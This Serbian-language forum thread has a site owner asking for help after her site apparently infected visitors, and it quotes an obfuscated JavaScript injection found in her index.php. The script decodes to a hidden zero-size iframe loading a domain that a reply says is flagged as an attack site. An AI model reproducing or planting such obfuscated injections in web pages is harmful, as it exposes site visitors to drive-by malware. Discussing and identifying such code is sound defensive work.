Kako da proverim da li sajt ima virus?

I sta da radim ako ga pronadjem? Da li je u stvari moj sajt zarazen ili je problem kod servera?
Da li neko zna vise o ovome, posto ja nista ne znam.

Potpis

www.zenskiportal.com
www.stranijezici.net

Trebalo bi da je dovoljno da samo download-ujes sadrzaj i skeniras nekim antivirusom.
Na osnovu cega ti je palo na pamet da ti je sajt zarazen virusom?

Potpis

Nebojsa Milanovic:
-Trumpa smatram vrhunskim predsednikom i voleo bih da živim u državi na čijem je on čelu
-Rusija ne laže, ne vodi osvajačke ratove
-Trump je svetla tačka u USA blatu
-Elon Musk, možda najpametniji i najtrezveniji Amerikanac

Prilikom pristupa sajtu pre 10 dana mi se pojavio trojanac na kompu, a i sad mi je i jedan clan sajta poslao mail.

Potpis

www.zenskiportal.com
www.stranijezici.net

Da li bas imas trojanca na kompu ili je samo antivirus prijavio dok si otvarala neku stranu na sajtu? Stvar je u tome da antivirusi nekada prijavljuju takve stvari u javascript (*.js) fajlovima cak i ako nema stvarno niceg zlonamernog.

Potpis

Nebojsa Milanovic:
-Trumpa smatram vrhunskim predsednikom i voleo bih da živim u državi na čijem je on čelu
-Rusija ne laže, ne vodi osvajačke ratove
-Trump je svetla tačka u USA blatu
-Elon Musk, možda najpametniji i najtrezveniji Amerikanac

Ne samo da sam imala trojanca nego sam morala 2x da reinstaliram os. Treci put sam mu dosla glave.
Imala sam win32.dll koji nisu uspeli da obrisu ni nod32, adaware, s&d, spyware terminator i jos nekoliko program koja sam skinula sa neta. Ne moze se obrisati ni u safemodu, posto pravi systemske fajlove, instalira se medju drajverima...Na kraju sam ga eliminisala kombinacijom Regrunovog programcica Reanimator i SDfixom.


Nego, zar nije cudno imati u index.php ovako nesto:

<!-- ~ --><script type="text/javascript">
eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%5C%75%30%30%
33%63%5C%75%30%30%36%39%5C%75%30%30%36%36%5C%75%30%30%37%32%5C%75%30%30%36
%31%5C%75%30%30%36%64%5C%75%30%30%36%35%5C%75%30%30%32%30%5C%75%30%30%37%
33%5C%75%30%30%37%32%5C%75%30%30%36%33%5C%75%30%30%33%64%5C%75%30%30%32%32
%5C%75%30%30%36%38%5C%75%30%30%37%34%5C%75%30%30%37%34%5C%75%30%30%37%30%
5C%75%30%30%33%61%5C%75%30%30%32%66%5C%75%30%30%32%66%5C%75%30%30%36%66%5C
%75%30%30%37%32%5C%75%30%30%36%35%5C%75%30%30%36%65%5C%75%30%30%37%34%5C%
75%30%30%37%32%5C%75%30%30%36%31%5C%75%30%30%36%36%5C%75%30%30%36%36%5C%75%
30%30%32%65%5C%75%30%30%36%33%5C%75%30%30%36%65%5C%75%30%30%32%66%5C%75%30%
30%36%39%5C%75%30%30%36%65%5C%75%30%30%32%65%5C%75%30%30%36%33%5C%75%30%30%
36%37%5C%75%30%30%36%39%5C%75%30%30%33%66%5C%75%30%30%33%35%5C%75%30%30%32%
32%5C%75%30%30%32%30%5C%75%30%30%37%37%5C%75%30%30%36%39%5C%75%30%30%36%34%
5C%75%30%30%37%34%5C%75%30%30%36%38%5C%75%30%30%33%64%5C%75%30%30%32%32%5C%
75%30%30%33%30%5C%75%30%30%32%32%5C%75%30%30%32%30%5C%75%30%30%36%38%5C%75%
30%30%36%35%5C%75%30%30%36%39%5C%75%30%30%36%37%5C%75%30%30%36%38%5C%75%30%
30%37%34%5C%75%30%30%33%64%5C%75%30%30%32%32%5C%75%30%30%33%30%5C%75%30%30%
32%32%5C%75%30%30%32%30%5C%75%30%30%37%33%5C%75%30%30%37%34%5C%75%30%30%37%
39%5C%75%30%30%36%63%5C%75%30%30%36%35%5C%75%30%30%33%64%5C%75%30%30%32%32%
5C%75%30%30%36%34%5C%75%30%30%36%39%5C%75%30%30%37%33%5C%75%30%30%37%30%5C%
75%30%30%36%63%5C%75%30%30%36%31%5C%75%30%30%37%39%5C%75%30%30%33%61%5C%75%
30%30%36%65%5C%75%30%30%36%66%5C%75%30%30%36%65%5C%75%30%30%36%35%5C%75%30%
30%32%32%5C%75%30%30%33%65%5C%75%30%30%33%63%5C%75%30%30%32%66%5C%75%30%30%
36%39%5C%75%30%30%36%36%5C%75%30%30%37%32%5C%75%30%30%36%31%5C%75%30%30%36%
64%5C%75%30%30%36%35%5C%75%30%30%33%65%27%29%3B"));
</script><!-- ~ -->


Znam da je encodovani html, koji kad se dekoduje meni bar nista ne govori, ali mi deluje prilicno sumnjivo.

Potpis

www.zenskiportal.com
www.stranijezici.net

Ovo kad se dekoduje kompletno znači:


A meni firefox 3 kaže za taj sajt (orentraff.cn) da je "Reported Attach Site!", tako da ovo definitivno jeste sumnjivo.

Potpis

Sad ja znam zašto sam vam ovo ispričao, ovo će sigurno nekome koristiti....

@ zekica
Aj me nauci kako da to dekodiram? Imao sam na jednom mjestu slican problem, koji sam doduse rijesio, ali nikad mi nije uspjelo da skapiram sta je taj kod :S